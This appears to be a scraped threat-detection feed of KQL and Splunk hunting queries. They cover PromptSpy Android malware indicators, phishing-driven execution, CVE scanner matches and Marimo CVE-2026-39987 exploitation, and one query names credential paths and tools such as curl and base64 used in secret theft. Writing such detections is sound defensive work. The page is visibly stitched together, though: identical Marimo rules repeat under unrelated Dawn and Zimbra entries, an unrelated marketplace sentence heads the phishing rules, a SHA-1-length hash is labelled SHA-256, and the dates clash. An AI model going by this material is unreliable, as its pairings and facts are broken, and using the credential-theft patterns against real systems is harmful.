• https://github.com/eset/malware-ioc/tree/master/promptspy
• https://www.bleepingcomputer.com/news/security/promptspy-is-the-first-known-android-malware-to-use-generative-ai-at-runtime/
• https://thehackernews.com/2026/02/promptspy-android-malware-abuses-google.html
ATT&CKT1437.001T1571T1521.001T1646
Data sourcesNetwork_Resolution.DNSNetwork_Traffic.All_TrafficWeb.Web
let promptspy_ips = dynamic(["54.67.2.84","52.222.205.45"]);
let promptspy_doms = dynamic(["mgardownload.com","m-mgarg.com"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteIP in (promptspy_ips)
or RemoteUrl has_any (promptspy_doms)
or tostring(parse_json(AdditionalFields).host) has_any (promptspy_doms)
| project Timestamp, DeviceName, DeviceId, InitiatingProcessFileName, RemoteIP, RemotePort, RemoteUrl, Protocol, ActionType
| union (
DeviceEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (promptspy_doms) or RemoteIP in (promptspy_ips)
| project Timestamp, DeviceName, DeviceId, RemoteIP, RemoteUrl, ActionType
)
| sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(DNS.src) as src values(DNS.query) as query from datamodel=Network_Resolution where DNS.query IN ("mgardownload.com","*.mgardownload.com","m-mgarg.com","*.m-mgarg.com") by DNS.src DNS.query
| append [| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.src) as src values(All_Traffic.dest_port) as dest_port from datamodel=Network_Traffic where All_Traffic.dest_ip IN ("54.67.2.84","52.222.205.45") by All_Traffic.src All_Traffic.dest_ip]
| append [| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.src) as src values(Web.url) as url from datamodel=Web where Web.url IN ("*mgardownload.com*","*m-mgarg.com*") OR Web.dest IN ("54.67.2.84","52.222.205.45") by Web.src Web.dest]
| convert ctime(firstTime) ctime(lastTime)
| `drop_dm_object_name("DNS")` `drop_dm_object_name("All_Traffic")` `drop_dm_object_name("Web")`
Hunts for the published PromptSpy and predecessor VNCSpy APK SHA-1/SHA-256 hashes and the 'MorganArg' / Chase-Argentina lure landing on managed endpoints — typically when a user downloads the APK on a workstation before sideloading to a phone, or receives it via email. Article-specific because the lure name and hashes are tied to this single Argentina-targeted campaign.
Rationale: All eight SHA-1s and the SHA-256 are published in ESET's malware-ioc/promptspy repo and tied uniquely to the PromptSpy/VNCSpy campaign; the 'MorganArg' (Morgan-Argentina / Chase) brand impersonation is documented across ESET, Bleeping Computer and The Hacker News. APK file delivery on Windows endpoints is a strong sideload-prep indicator.
Cross-checked against:
• https://github.com/eset/malware-ioc/tree/master/promptspy
• https://www.bleepingcomputer.com/news/security/promptspy-is-the-first-known-android-malware-to-use-generative-ai-at-runtime/
• https://thehackernews.com/2026/02/promptspy-android-malware-abuses-google.html
ATT&CKT1660T1456T1404
Data sourcesEndpoint.FilesystemWeb.WebEmail.All_Email
let promptspy_sha1 = dynamic(["6BBC9AB132BA066F63676E05DA13D108598BC29B","375D7423E63C8F5F2CC814E8CFE697BA25168AFA","3978AC5CD14E357320E127D6C87F10CB70A1DCC2","E60D12017D2DA579DF87368F5596A0244621AE86","9B1723284E311794987997CB7E8814EB6014713F","076801BD9C6EB78FC0331A4C7A22C73199CC3824","8364730E9BB2CF3A4B016DE1B34F38341C0EE2FA","C14E9B062ED28115EDE096788F62B47A6ED841AC"]);
let promptspy_sha256 = dynamic(["F8F4C5BC498BCCE907DC975DD88BE8D594629909"]);
DeviceFileEvents
| where Timestamp > ago(30d)
| where SHA1 in~ (promptspy_sha1)
or SHA256 in~ (promptspy_sha256)
or (FileName endswith ".apk" and (FileName has_any ("MorganArg","mgar","Chase") or FolderPath has_any ("MorganArg","mgar")))
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, FolderPath, SHA1, SHA256, RequestSourceIP, RequestAccountName
| union (
EmailAttachmentInfo
| where Timestamp > ago(30d)
| where SHA256 in~ (promptspy_sha256) or FileName endswith ".apk" and FileName has_any ("MorganArg","mgar")
| project Timestamp, NetworkMessageId, SenderFromAddress, RecipientEmailAddress, FileName, SHA256
)
| sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.user) as user values(Filesystem.dest) as host values(Filesystem.file_path) as file_path values(Filesystem.file_hash) as file_hash from datamodel=Endpoint.Filesystem where (Filesystem.file_name="*.apk" OR Filesystem.file_path="*MorganArg*" OR Filesystem.file_path="*mgar*") AND (Filesystem.file_hash IN ("6BBC9AB132BA066F63676E05DA13D108598BC29B","375D7423E63C8F5F2CC814E8CFE697BA25168AFA","3978AC5CD14E357320E127D6C87F10CB70A1DCC2","E60D12017D2DA579DF87368F5596A0244621AE86","9B1723284E311794987997CB7E8814EB6014713F","076801BD9C6EB78FC0331A4C7A22C73199CC3824","8364730E9BB2CF3A4B016DE1B34F38341C0EE2FA","F8F4C5BC498BCCE907DC975DD88BE8D594629909","C14E9B062ED28115EDE096788F62B47A6ED841AC")) by Filesystem.dest Filesystem.user Filesystem.file_name Filesystem.file_path Filesystem.file_hash
| convert ctime(firstTime) ctime(lastTime)
| `drop_dm_object_name("Filesystem")`
2026-02-193 use cases2 techniques2 kill-chain phases detected
Like any other marketplace, the social commerce platform has its share of red flags. It pays to know what to look for so you can shop or sell without headaches.
ATT&CKT1190T1566
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
—
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-184 use cases0 techniques4 kill-chain phases detected
Dell RecoverPoint for Virtual Machines (RP4VMs) contains an use of hard-coded credentials vulnerability that could allow an unauthenticated remote attacker to gain unauthorized access to the underlying operating system and root-level persistence. Vendor: Dell, Product: RecoverPoint for Virtual Machines (RP4VMs). Federal patch due: 2026-02-21.
CVEsCVE-2026-22769
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-22769")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-22769")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-174 use cases0 techniques3 kill-chain phases detected
Google Dawn contains an use-after-free vulnerability that could allow a remote attacker who had compromised the renderer process to execute arbitrary code via a crafted HTML page. This vulnerability could affect multiple Chromium-based products including, but not limited to, Google Chrome, Microsoft Edge, and Opera. Vendor: Google, Product: Dawn. Federal patch due: 2026-04-15.
CVEsCVE-2026-5281
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-5281")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-5281")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-174 use cases0 techniques3 kill-chain phases detected
Synacor Zimbra Collaboration Suite (ZCS) contains a server-side request forgery vulnerability if WebEx zimlet installed and zimlet JSP is enabled. Vendor: Synacor, Product: Zimbra Collaboration Suite. Federal patch due: 2026-03-10.
CVEsCVE-2020-7796
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2020-7796")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2020-7796")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
